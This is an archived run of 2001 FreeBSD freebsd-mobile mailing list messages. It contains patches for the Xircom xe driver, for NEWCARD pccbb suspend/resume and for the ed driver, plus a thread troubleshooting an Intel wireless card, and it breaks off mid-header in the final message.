From owner-freebsd-mobile Sun Nov 18 16:21:46 2001 Delivered-To: freebsd-mobile@freebsd.org Received: from mta06-svc.ntlworld.com (mta06-svc.ntlworld.com [62.253.162.46]) by hub.freebsd.org (Postfix) with ESMTP id 62EAA37B417 for ; Sun, 18 Nov 2001 16:21:34 -0800 (PST) Received: from lungfish.ntlworld.com ([62.253.144.19]) by mta06-svc.ntlworld.com (InterMail vM.4.01.03.13 201-229-121-113) with ESMTP id <20011119002131.ZNNO16226.mta06-svc.ntlworld.com@lungfish.ntlworld.com> for ; Mon, 19 Nov 2001 00:21:31 +0000 Received: from boog.goatsucker.org (boog.goatsucker.org [192.168.1.3]) by lungfish.ntlworld.com (8.11.3/8.11.3) with ESMTP id fAJ0LB869384 for ; Mon, 19 Nov 2001 00:21:11 GMT (envelope-from scott@boog.goatsucker.org) Received: (from scott@localhost) by boog.goatsucker.org (8.9.3/8.9.3) id AAA31905 for freebsd-mobile@freebsd.org; Mon, 19 Nov 2001 00:20:35 GMT (envelope-from scott) Date: Mon, 19 Nov 2001 00:20:35 +0000 From: Scott Mitchell To: freebsd-mobile@freebsd.org Subject: Xircom Ethernet driver patch for CE2 & CEM33 Message-ID: <20011119002035.B30992@localhost> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="5vNYLRcllDrimb99" Content-Disposition: inline Content-Transfer-Encoding: 8bit User-Agent: Mutt/1.2.4i X-Operating-System: FreeBSD 4.1-RELEASE i386 Sender: owner-freebsd-mobile@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org --5vNYLRcllDrimb99 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit Hi all, The attached patch (against -STABLE or anything close to it; these files haven't changed for ages) is hopefully a long-overdue fix to the support for CE2, CEM28 and CEM33 cards in the xe driver. Specifically: - Most, if not all, CE2 cards should now be probed correctly - Some changes supplied by Peter Fürst to prevent the driver becoming confused about the number of bytes to send, and not sending any - A few other minor tweaks Peter also informed me of some restrictions in the memory ranges and I/O addresses supported by the CEM33 (this may be true for the CE2 and CEM28 as well). He says: >There are restrictions on IO addresses and memory range, as >the Xircom CEM33 readme, Release 1.21, July 9, 1998 says: > > -The CreditCard Ethernet+Modem 33.6 does not support the memory > range D000-D0FF. > > -On some machines D600-D6FF is not supported. > > -The CreditCard Ethernet+Modem 33.6 supports only "even" IO addresses > (example: 240, 260, 280, 300, 320, 340, 360). If you use an "odd" IO > address (example: 310, 330, 250), the adapter will fail to initialize. It may be worthwhile fixing your pccard.conf to match these restrictions if your card isn't being configured correctly. Question: is there any way to enforce these restrictions from within the driver? The CIS on these cards doesn't appear to give any indication that these addresses are not allowed. To apply the patch: patch -p < xe_drv-20011118.patch Then rebuild your kernel, reboot and see what happens. The patch turns on some more debugging output from the driver, so expect more verbose messages than usual. It may also be worthwhile running pccardd manually with the -d flag if there are problems configuring the card. I don't have a CE2 card, so I can't verify that these changes will do any good at all... however, it still works with my CE3 so I don't think I've made anything worse :-) Please let me know if this works or not, whatever variety of Xircom card you're using. If it doesn't work, please include relevant messages, 'pccardc dumpcis' output and pccard.conf file. A fix for the broken xe multicast code is coming soon... Scott -- =========================================================================== Scott Mitchell | PGP Key ID | "Eagles may soar, but weasels Cambridge, England | 0x54B171B9 | don't get sucked into jet engines" scott.mitchell@mail.com | 0xAA775B8B | -- Anon --5vNYLRcllDrimb99 Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="xe_drv-20011118.patch" *** /sys/dev/xe/if_xe.c.orig Fri Jul 21 23:38:24 2000 --- /sys/dev/xe/if_xe.c Sun Nov 18 21:46:30 2001 *************** *** 1,5 **** /*- ! * Copyright (c) 1998, 1999 Scott Mitchell * All rights reserved. * * Redistribution and use in source and binary forms, with or without --- 1,5 ---- /*- ! * Copyright (c) 1998-2001 Scott Mitchell * All rights reserved. * * Redistribution and use in source and binary forms, with or without *************** *** 23,29 **** * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * - * $Id: if_xe.c,v 1.20 1999/06/13 19:17:40 scott Exp $ * $FreeBSD: src/sys/dev/xe/if_xe.c,v 1.13.2.5 2000/07/21 22:38:24 imp Exp $ */ --- 23,28 ---- *************** *** 90,97 **** * * Thanks to all who assisted with the development and testing of the driver, * especially: Werner Koch, Duke Kamstra, Duncan Barclay, Jason George, Dru ! * Nelson, Mike Kephart, Bill Rainey and Douglas Rand. Apologies if I've left ! * out anyone who deserves a mention here. * * Special thanks to Ade Lovett for both hosting the mailing list and doing * the CEM56/REM56 support code; and the FreeBSD UK Users' Group for hosting --- 89,96 ---- * * Thanks to all who assisted with the development and testing of the driver, * especially: Werner Koch, Duke Kamstra, Duncan Barclay, Jason George, Dru ! * Nelson, Mike Kephart, Bill Rainey, Douglas Rand and DocWilco. ! * Apologies if I've left out anyone who deserves a mention here. * * Special thanks to Ade Lovett for both hosting the mailing list and doing * the CEM56/REM56 support code; and the FreeBSD UK Users' Group for hosting *************** *** 100,109 **** * Contact points: * * Driver web page: http://ukug.uk.freebsd.org/~scott/xe_drv/ - * - * Mailing list: http://www.lovett.com/lists/freebsd-xircom/ - * or send "subscribe freebsd-xircom" to - * * Author email: */ --- 99,104 ---- *************** *** 202,210 **** static void xe_phy_writereg (struct xe_softc *scp, u_int16_t reg, u_int16_t data); /* ! * Debug functions -- uncomment for VERY verbose dignostic information. * Set to 1 for less verbose information */ /* #define XE_DEBUG 2 */ #ifdef XE_DEBUG #define XE_REG_DUMP(scp) xe_reg_dump((scp)) --- 197,207 ---- static void xe_phy_writereg (struct xe_softc *scp, u_int16_t reg, u_int16_t data); /* ! * Debug functions -- uncomment the first line for extra debug output, ! * uncomment the second for VERY verbose diagnostic information. * Set to 1 for less verbose information */ + #define XE_DEBUG 1 /* #define XE_DEBUG 2 */ #ifdef XE_DEBUG #define XE_REG_DUMP(scp) xe_reg_dump((scp)) *************** *** 331,337 **** #endif for (i = 0; i < CISTPL_LEN(buf); ver_str[i] = CISTPL_DATA(buf, i++)); ver_str[i] = '\0'; - ver_str[(CISTPL_BUFSIZE>>1) - 1] = CISTPL_LEN(buf); success++; break; --- 328,333 ---- *************** *** 443,458 **** /* Check for certain strange CE2's that look like CE's */ if (strcmp(scp->card_type, "CE") == 0) { ! u_char *str = ver_str; #if XE_DEBUG > 1 device_printf(dev, "Checking for weird CE2 string\n"); #endif str += strlen(str) + 1; /* Skip forward to 3rd version string */ str += strlen(str) + 1; - str += strlen(str) + 1; for (i = 0; i < strlen(str) - 2; i++) { if (bcmp(&str[i], "CE2", 3) ==0) { /* Look for "CE2" string */ scp->card_type = "CE2"; } } } --- 439,454 ---- /* Check for certain strange CE2's that look like CE's */ if (strcmp(scp->card_type, "CE") == 0) { ! u_char *str = ver_str + 2; /* Skip over version bytes */ #if XE_DEBUG > 1 device_printf(dev, "Checking for weird CE2 string\n"); #endif str += strlen(str) + 1; /* Skip forward to 3rd version string */ str += strlen(str) + 1; for (i = 0; i < strlen(str) - 2; i++) { if (bcmp(&str[i], "CE2", 3) ==0) { /* Look for "CE2" string */ scp->card_type = "CE2"; + scp->ce2 = 1; } } } *************** *** 684,689 **** --- 680,686 ---- * Loop while there are packets to be sent, and space to send them. */ while (1) { + int busy; IF_DEQUEUE(&ifp->if_snd, mbp); /* Suck a packet off the send queue */ if (mbp == NULL) { *************** *** 698,704 **** return; } ! if (xe_pio_write_packet(scp, mbp) != 0) { IF_PREPEND(&ifp->if_snd, mbp); /* Push the packet back onto the queue */ ifp->if_flags |= IFF_OACTIVE; return; --- 695,712 ---- return; } ! if ( (busy = xe_pio_write_packet(scp, mbp)) ) { ! if (!scp->tx_queued) { ! /* ! * No space available, although nothing is queued ? ! * This suggests that initialization was not complete, ! * so we do an immediate reset and try again. (CEM33) ! */ ! xe_watchdog(ifp); ! busy = xe_pio_write_packet(scp, mbp); ! } ! } ! if (busy) { IF_PREPEND(&ifp->if_snd, mbp); /* Push the packet back onto the queue */ ifp->if_flags |= IFF_OACTIVE; return; *************** *** 828,834 **** * Read ISR to see what caused this interrupt. Note that this clears the * ISR on CE2 type cards. */ ! if ((isr = XE_INB(XE_ISR)) && isr != 0xff) { result = 1; /* This device did generate an int */ esr = XE_INB(XE_ESR); /* Read the other status registers */ --- 836,842 ---- * Read ISR to see what caused this interrupt. Note that this clears the * ISR on CE2 type cards. */ ! if ((isr = XE_INB(XE_ISR)) != 0xff) { result = 1; /* This device did generate an int */ esr = XE_INB(XE_ESR); /* Read the other status registers */ *************** *** 910,915 **** --- 918,925 ---- if (txs & 0x0040) /* Transmit aborted -- probably collisions */ scp->tx_collisions++; + if (txs & XE_TXST0_TX_UNDERRUN) /* make the transmitter work again (CEM33) */ + XE_OUTB(XE_CR, XE_CR_RESTART_TX); /* * Handle receive interrupts *************** *** 1703,1708 **** --- 1713,1727 ---- /* Get total packet length */ for (len = 0, mbp2 = mbp; mbp2 != NULL; len += mbp2->m_len, mbp2 = mbp2->m_next); + /* + * For the CEM33 (all CE2 cards ?) the number of packet-bytes written must + * exactly match the packet-length sent to the card. The easiest way to + * achieve this, is to increase "len" to the next even value just here + * (supposed ETHER_MIN_LEN-ETHER_CRC_LEN is even). + */ + if (len & 1) + ++len; + /* Packets < minimum length may need to be padded out */ pad = 0; if (len < ETHER_MIN_LEN - ETHER_CRC_LEN) { *************** *** 1757,1762 **** --- 1776,1784 ---- * For CE3 cards, just tell 'em to send -- apparently the card will pad out * short packets with random cruft. Otherwise, write nonsense words to fill * out the packet. I guess it is then sent automatically (?) + * Yes, the CE2 appears to count the bytes written and start transmission + * when it has received "len" bytes, XE_CR_TX_PACKET being a NOP. (And any + * following two bytes will be interpreted as a new "len" and so on...) */ if (scp->mohawk) XE_OUTB(XE_CR, XE_CR_TX_PACKET|XE_CR_ENABLE_INTR); --5vNYLRcllDrimb99-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-mobile" in the body of the message From owner-freebsd-mobile Sun Nov 18 18:33:57 2001 Delivered-To: freebsd-mobile@freebsd.org Received: from rover.village.org (rover.bsdimp.com [204.144.255.66]) by hub.freebsd.org (Postfix) with ESMTP id 4284137B417 for ; Sun, 18 Nov 2001 18:33:53 -0800 (PST) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.11.3/8.11.3) with ESMTP id fAJ2Xqa62555; Sun, 18 Nov 2001 19:33:52 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost [127.0.0.1]) by harmony.village.org (8.11.6/8.11.6) with ESMTP id fAJ2Xp766696; Sun, 18 Nov 2001 19:33:51 -0700 (MST) (envelope-from imp@harmony.village.org) Message-Id: <200111190233.fAJ2Xp766696@harmony.village.org> To: Scott Mitchell Subject: Re: Xircom Ethernet driver patch for CE2 & CEM33 Cc: freebsd-mobile@FreeBSD.ORG In-reply-to: Your message of "Mon, 19 Nov 2001 00:20:35 GMT." <20011119002035.B30992@localhost> References: <20011119002035.B30992@localhost> Date: Sun, 18 Nov 2001 19:33:51 -0700 From: Warner Losh Sender: owner-freebsd-mobile@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org In message <20011119002035.B30992@localhost> Scott Mitchell writes: : - Some changes supplied by Peter Fürst to prevent the driver becoming : confused about the number of bytes to send, and not sending any : - A few other minor tweaks Any what? : Question: is there any way to enforce these restrictions from within the : driver? The CIS on these cards doesn't appear to give any indication that : these addresses are not allowed. The bus picks address 0xd0000 for memory, and the driver wants to say "get bent, I can't use that, give me a different one"? I don't think so. : I don't have a CE2 card, so I can't verify that these changes will do any : good at all... however, it still works with my CE3 so I don't think I've : made anything worse :-) I keep meaning to send you a CE2 card. I'll give these tests a try. Warner P.S. Here's patch for the bad CIS addresses, relative to -stable. I've not had a chance to port it to -current yet, but it causes at least one of the DELL laptops that a local user has to start working again. Index: if_xe.c =================================================================== RCS file: /cache/ncvs/src/sys/dev/xe/if_xe.c,v retrieving revision 1.13.2.5 diff -u -r1.13.2.5 if_xe.c --- if_xe.c 21 Jul 2000 22:38:24 -0000 1.13.2.5 +++ if_xe.c 19 Nov 2001 02:31:43 -0000 @@ -226,10 +226,8 @@ struct xe_softc *sc = (struct xe_softc *) device_get_softc(dev); bus_space_tag_t bst; bus_space_handle_t bsh; - struct resource *r; - int rid; + struct resource *r; int rid; int ioport; - #ifdef XE_DEBUG device_printf(dev, "Hacking your Realport, master\n"); #endif @@ -244,11 +242,10 @@ r = bus_alloc_resource(dev, SYS_RES_MEMORY, &rid, 0, ~0, 4 << 10, RF_ACTIVE); if (!r) { #if XE_DEBUG > 0 - device_printf(dev, "Can't map in attribute memory\n"); + device_printf(dev, "Can't map in attribute memory\n"); #endif - return -1; + return -1; } - bsh = rman_get_bushandle(r); bst = rman_get_bustag(r); @@ -291,7 +288,7 @@ int buf; u_char ver_str[CISTPL_BUFSIZE>>1]; off_t offs; - int success, rc, i; + int success, rc = 0, i; int rid; struct resource *r; @@ -360,6 +357,7 @@ #if XE_DEBUG > 1 device_printf(dev, "Not a PCMCIA Ethernet card!\n"); #endif + success--; rc = ENODEV; /* Not a PCMCIA Ethernet device */ } else { if (media & 0x10) { /* Ethernet/modem cards */ @@ -388,6 +386,7 @@ scp->dingo = 1; scp->card_type = "CEM56"; break; default: + success--; rc = ENODEV; } } else { /* Ethernet-only cards */ @@ -404,6 +403,7 @@ scp->mohawk = 1; scp->card_type = "CE3"; break; default: + success--; rc = ENODEV; } } @@ -440,6 +440,8 @@ /* Die now if something went wrong above */ if (success < 3) return ENXIO; + if (rc != 0) + return (rc); /* Check for certain strange CE2's that look like CE's */ if (strcmp(scp->card_type, "CE") == 0) { To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-mobile" in the body of the message From owner-freebsd-mobile Mon Nov 19 0:11:44 2001 Delivered-To: freebsd-mobile@freebsd.org Received: from mgo.iij.ad.jp (mgo.iij.ad.jp [202.232.15.6]) by hub.freebsd.org (Postfix) with ESMTP id B214037B418; Mon, 19 Nov 2001 00:11:31 -0800 (PST) Received: from ns.iij.ad.jp (ns.iij.ad.jp [192.168.2.8]) by mgo.iij.ad.jp (8.8.8/MGO1.0) with ESMTP id RAA20335; Mon, 19 Nov 2001 17:11:30 +0900 (JST) Received: from fs.iij.ad.jp (root@fs.iij.ad.jp [192.168.2.9]) by ns.iij.ad.jp (8.8.5/3.5Wpl7) with ESMTP id RAA12848; Mon, 19 Nov 2001 17:11:30 +0900 (JST) Received: from localhost (shigeru@mercury.iij.ad.jp [192.168.4.89]) by fs.iij.ad.jp (8.8.5/3.5Wpl7) with ESMTP id RAA26223; Mon, 19 Nov 2001 17:11:29 +0900 (JST) Date: Mon, 19 Nov 2001 17:11:29 +0900 (JST) Message-Id: <20011119.171129.72757009.shigeru@iij.ad.jp> To: freebsd-mobile@freebsd.org Cc: freebsd-current@freebsd.org Subject: 2 patches for NEWCARD From: YAMAMOTO Shigeru X-Mailer: Mew version 2.0 pre1 on Emacs 20.7 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Multipart/Mixed; boundary="--Next_Part(Mon_Nov_19_17:11:29_2001_257)--" Content-Transfer-Encoding: 7bit Sender: owner-freebsd-mobile@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org ----Next_Part(Mon_Nov_19_17:11:29_2001_257)-- Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi all, I make 2 patches for NEWCARD. one is to supoort to suspend/resume PC Card devices on NEWCARD. other is to ignore ghost interrupt at ed driver when removing PC Card. It is a quick hack and I only tested on my NotePC, Sony VAIO 818. So I don't know my patches work fine on other NotePC. Please try if you have interest to my patches. Thanks, ------- YAMAMOTO Shigeru ----Next_Part(Mon_Nov_19_17:11:29_2001_257)-- Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="cb.diff" Index: sys/dev/pccbb/pccbb.c =================================================================== RCS file: /share/cvsup/FreeBSD/current/usr/src/sys/dev/pccbb/pccbb.c,v retrieving revision 1.27 diff -u -r1.27 pccbb.c --- sys/dev/pccbb/pccbb.c 3 Nov 2001 16:45:31 -0000 1.27 +++ sys/dev/pccbb/pccbb.c 18 Nov 2001 19:37:52 -0000 @@ -2096,14 +2096,112 @@ b, s, f, reg, val, width); } +static +int +pccbb_suspend(device_t dev) { + int error = 0; + struct pccbb_softc* sc = device_get_softc(dev); + int numdevs; + device_t* devlist; + int tmp; + + bus_teardown_intr(dev, sc->sc_irq_res, sc->sc_intrhand); + + device_get_children(dev, &devlist, &numdevs); + + error = 0; + for (tmp = 0; tmp < numdevs; tmp++) { + if (device_detach(devlist[tmp]) == 0) { + device_delete_child(dev, devlist[tmp]); + } + else { + error++; + } + } + free(devlist, M_TEMP); + if (error > 0) { + return ENXIO; + } + + sc->sc_cbdev = NULL; + sc->sc_pccarddev = NULL; + + return(error); +} + +static +int +pccbb_resume(device_t self) +{ + int error = 0; + struct pccbb_softc *sc = (struct pccbb_softc *)device_get_softc(self); + + pci_write_config(self, PCCBBR_SOCKBASE, + rman_get_start(sc->sc_base_res), 4); + DEVPRINTF((self, "PCI Memory allocated: %08lx\n", + rman_get_start(sc->sc_base_res))); + + pccbb_chipinit(sc); + + /* CSC Interrupt: Card detect interrupt on */ + sc->sc_socketreg->socket_mask |= PCCBB_SOCKET_MASK_CD; + + /* reset interrupt */ + { + u_int32_t tmp; + + tmp = sc->sc_socketreg->socket_event; + sc->sc_socketreg->socket_event = tmp; + } + + /* establish the interrupt. */ + if (bus_setup_intr(self, sc->sc_irq_res, INTR_TYPE_BIO, pccbb_intr, sc, + &(sc->sc_intrhand))) { + device_printf(self, "couldn't establish interrupt"); + bus_release_resource(self, SYS_RES_IRQ, 0, sc->sc_irq_res); + bus_release_resource(self, SYS_RES_MEMORY, PCCBBR_SOCKBASE, + sc->sc_base_res); + mtx_destroy(&sc->sc_mtx); + error = ENOMEM; + } + + /* attach children */ + if (!error) { + sc->sc_cbdev = device_add_child(self, "cardbus", -1); + if (sc->sc_cbdev == NULL) + DEVPRINTF((self, "WARNING: cannot add cardbus bus.\n")); + else if (device_probe_and_attach(sc->sc_cbdev) != 0) { + DEVPRINTF((self, "WARNING: cannot attach cardbus bus!\n")); + sc->sc_cbdev = NULL; + } + + sc->sc_pccarddev = device_add_child(self, "pccard", -1); + if (sc->sc_pccarddev == NULL) + DEVPRINTF((self, "WARNING: cannot add pccard bus.\n")); + else if (device_probe_and_attach(sc->sc_pccarddev) != 0) { + DEVPRINTF((self, "WARNING: cannot attach pccard bus.\n")); + sc->sc_pccarddev = NULL; + } + } + + /* wakeup thread */ + if (!error) { + mtx_lock(&sc->sc_mtx); + wakeup(sc); + mtx_unlock(&sc->sc_mtx); + } + + return(error); +} + static device_method_t pccbb_methods[] = { /* Device interface */ DEVMETHOD(device_probe, pccbb_probe), DEVMETHOD(device_attach, pccbb_attach), DEVMETHOD(device_detach, pccbb_detach), DEVMETHOD(device_shutdown, pccbb_shutdown), - DEVMETHOD(device_suspend, bus_generic_suspend), - DEVMETHOD(device_resume, bus_generic_resume), + DEVMETHOD(device_suspend, pccbb_suspend), + DEVMETHOD(device_resume, pccbb_resume), /* bus methods */ DEVMETHOD(bus_print_child, bus_generic_print_child), ----Next_Part(Mon_Nov_19_17:11:29_2001_257)-- Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="ed.diff" Index: sys/dev/ed/if_ed.c =================================================================== RCS file: /share/cvsup/FreeBSD/current/usr/src/sys/dev/ed/if_ed.c,v retrieving revision 1.206 diff -u -r1.206 if_ed.c --- sys/dev/ed/if_ed.c 4 Nov 2001 22:56:20 -0000 1.206 +++ sys/dev/ed/if_ed.c 11 Nov 2001 15:25:52 -0000 @@ -2296,7 +2296,7 @@ /* * loop until there are no more new interrupts */ - while ((isr = ed_nic_inb(sc, ED_P0_ISR)) != 0) { + while ((isr = ed_nic_inb(sc, ED_P0_ISR)) != 0 && isr != 0xff) { /* * reset all the bits that we are 'acknowledging' by writing a ----Next_Part(Mon_Nov_19_17:11:29_2001_257)---- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-mobile" in the body of the message From owner-freebsd-mobile Mon Nov 19 2:19:48 2001 Delivered-To: freebsd-mobile@freebsd.org Received: from math.teaser.net (math.teaser.net [213.91.2.4]) by hub.freebsd.org (Postfix) with ESMTP id CA0A337B416 for ; Mon, 19 Nov 2001 02:19:44 -0800 (PST) Received: from notbsdems.nantes.kisoft-services.com (nantes.kisoft-services.com [193.56.60.243]) by math.teaser.net (Postfix) with ESMTP id 508556C80C; Mon, 19 Nov 2001 11:19:43 +0100 (CET) Received: by notbsdems.nantes.kisoft-services.com (Postfix, from userid 1001) id 91FAAE6CFA; Mon, 19 Nov 2001 11:19:00 +0100 (CET) To: "Alan Edmonds" Cc: "Gianmarco Giovannelli" , "Warner Losh" , Subject: Re: nic wireless , which one ? (long) References: From: Eric Masson In-Reply-To: ("Alan Edmonds"'s message of "Sat, 17 Nov 2001 14:35:20 -0000") X-Operating-System: FreeBSD 4.4-STABLE i386 Date: Mon, 19 Nov 2001 11:18:59 +0100 Message-ID: <86n11jkqr0.fsf@notbsdems.nantes.kisoft-services.com> Lines: 18 User-Agent: Gnus/5.090004 (Oort Gnus v0.04) XEmacs/21.1 (Cuyahoga Valley, i386--freebsd) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-mobile@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >>>>> "Alan" == Alan Edmonds writes: Alan> I'm using an Intel 2011/PRO with -current in an IBM thinkpad. Alan> Note, this is the older 2011 model (DSS, 802.11b and WiFi) I've never managed to make one work at our main office. wi driver needs to be patched in stable to get the card attached. The card then acquires its address via dhcp and then no further traffic is seen by the ip stack. Any idea ? Eric Masson -- Progress (n) : What led from smart users in front of dumb terminals to dumb users in front of smart terminals. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-mobile" in the body of the message From owner-freebsd-mobile Mon Nov 19 2:53:33 2001 Delivered-To: freebsd-mobile@freebsd.org Received: from mx3.airmail.net (mx3.airmail.net [209.196.77.100]) by hub.freebsd.org (Postfix) with ESMTP id BD8D437B419 for ; Mon, 19 Nov 2001 02:53:28 -0800 (PST) Received: from covert.black-ring.iadfw.net ([209.196.123.142]) by mx3.airmail.net with smtp (Exim 3.16 #10) id 165m3K-000NCL-00; Mon, 19 Nov 2001 04:53:26 -0600 Received: from fanec from [213.121.102.81] by covert.black-ring.iadfw.net (/\##/\ Smail3.1.30.16 #30.55) with smtp for sender: id ; Mon, 19 Nov 2001 04:54:42 -0600 (CST) From: "Alan Edmonds" To: "Eric Masson" Cc: "Gianmarco Giovannelli" , "Warner Losh" , Subject: RE: nic wireless , which one ? (long) Date: Mon, 19 Nov 2001 10:53:18 -0000 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 In-Reply-To: <86n11jkqr0.fsf@notbsdems.nantes.kisoft-services.com> Sender: owner-freebsd-mobile@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Just for grins, did you try booting the -current install floppies and see if that would bring up the card? Did you look at the stats on the access point to see if it sees the card, etc? I have one card that does what you describe under Win2k. I think the card is bad. I've tried it on several laptops with similar results. It associates with the AP, but then nothing..... Alan > -----Original Message----- > From: owner-freebsd-mobile@FreeBSD.ORG > [mailto:owner-freebsd-mobile@FreeBSD.ORG]On Behalf Of Eric Masson > Sent: 19 November 2001 10:19 > To: Alan Edmonds > Cc: Gianmarco Giovannelli; Warner Losh; mobile@freebsd.org > Subject: Re: nic wireless , which one ? (long) > > > >>>>> "Alan" == Alan Edmonds writes: > > Alan> I'm using an Intel 2011/PRO with -current in an IBM thinkpad. > Alan> Note, this is the older 2011 model (DSS, 802.11b and WiFi) > > I've never managed to make one work at our main office. > > wi driver needs to be patched in stable to get the card attached. > The card then acquires its address via dhcp and then no further traffic > is seen by the ip stack. > > Any idea ? > > Eric Masson > > -- > Progress (n) : What led from smart users in front of dumb terminals to > dumb users in front of smart terminals. > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-mobile" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-mobile" in the body of the message From owner-freebsd-mobile Mon Nov 19 3:40:29 2001 Delivered-To: freebsd-mobile@freebsd.org Received: from math.teaser.net (math.teaser.net [213.91.2.4]) by hub.freebsd.org (Postfix) with ESMTP id 76FED37B416 for ; Mon, 19 Nov 2001 03:40:24 -0800 (PST) Received: from notbsdems.nantes.kisoft-services.com (nantes.kisoft-services.com [193.56.60.243]) by math.teaser.net (Postfix) with ESMTP id 441456C804; Mon, 19 Nov 2001 12:40:23 +0100 (CET) Received: by notbsdems.nantes.kisoft-services.com (Postfix, from userid 1001) id 07438E6CF8; Mon, 19 Nov 2001 12:39:30 +0100 (CET) To: "Alan Edmonds" Cc: "Gianmarco Giovannelli" , "Warner Losh" , Subject: Re: nic wireless , which one ? (long) References: From: Eric Masson In-Reply-To: ("Alan Edmonds"'s message of "Mon, 19 Nov 2001 10:53:18 -0000") X-Operating-System: FreeBSD 4.4-STABLE i386 Date: Mon, 19 Nov 2001 12:39:28 +0100 Message-ID: <867ksnkn0v.fsf@notbsdems.nantes.kisoft-services.com> Lines: 30 User-Agent: Gnus/5.090004 (Oort Gnus v0.04) XEmacs/21.1 (Cuyahoga Valley, i386--freebsd) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-mobile@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >>>>> "Alan" == Alan Edmonds writes: Alan> Just for grins, did you try booting the -current install floppies Alan> and see if that would bring up the card? No, I'm waiting for another laptop (old Dell Inspiron 3100) to try running current, a few weeks left, as my colleague will get his new Inspiron 8100 RSN :) Alan> Did you look at the stats on the access point to see if it sees Alan> the card, etc? Yes, when i try to use the card under FreeBSD, the packet counts on the AP (Intel AP2011) increase regularly but no packet gets back to the ip stack. Alan> I have one card that does what you describe under Win2k. I think Alan> the card is bad. I've tried it on several laptops with similar Alan> results. It associates with the AP, but then nothing..... Well in my case, the card works fine under Win98SE, that's why I don't really understand the problem. Eric -- [...] C'est aussi mon avis. Il reigne par ici une frenesie autour du GMP tout a fait inquietante... (Et la je suis encore bon pour le GMP, surtout que je fais 3 lignes, comme par hasard) ;o) -+- ED in Guide du Macounet Pervers : Hasard (?) frénétique -+- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-mobile" in the body of the message From owner-freebsd-mobile Mon Nov 19 4:45: 4 2001 Delivered-To: freebsd-mobile@freebsd.org Received: from moo.sysabend.org (moo.sysabend.org [63.86.88.201]) by hub.freebsd.org (Postfix) with ESMTP id 68B4237B417 for ; Mon, 19 Nov 2001 04:45:01 -0800 (PST) Received: by moo.sysabend.org (Postfix, from userid 1004) id 3F9C07567; Mon, 19 Nov 2001 04:46:47 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by moo.sysabend.org (Postfix) with ESMTP id 2F36D1D93; Mon, 19 Nov 2001 04:46:47 -0800 (PST) Date: Mon, 19 Nov 2001 04:46:47 -0800 (PST) From: Jamie Bowden To: Warner Losh Cc: Scott Mitchell , freebsd-mobile@FreeBSD.ORG Subject: Re: Xircom Ethernet driver patch for CE2 & CEM33 In-Reply-To: <200111190233.fAJ2Xp766696@harmony.village.org> Message-ID: Approved: yep X-representing: Only myself. X-badge: We don't need no stinking badges. X-obligatory-profanity: Fuck X-moo: Moo. MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-mobile@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Sun, 18 Nov 2001, Warner Losh wrote: :P.S. Here's patch for the bad CIS addresses, relative to -stable. :I've not had a chance to port it to -current yet, but it causes at :least one of the DELL laptops that a local user has to start working :again. Cool. How soon do you expect to merge this stuff into -STABLE? I'm still running 4.3-R on my Latitude for various reasons mostly related to pcmcia and xe0. Jamie Bowden -- "It was half way to Rivendell when the drugs began to take hold" Hunter S Tolkien "Fear and Loathing in Barad Dur" Iain Bowen To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-mobile" in the body of the message From owner-freebsd-mobile Mon Nov 19 6:47:57 2001 Delivered-To: freebsd-mobile@freebsd.org Received: from eastgate.starhub.net.sg (eastgate.starhub.net.sg [203.116.1.189]) by hub.freebsd.org (Postfix) with ESMTP id 4A04E37B417 for ; Mon, 19 Nov 2001 06:47:54 -0800 (PST) Received: from localhost.localdomain (mcns191.docsis57.singa.pore.net [202.156.57.191]) by 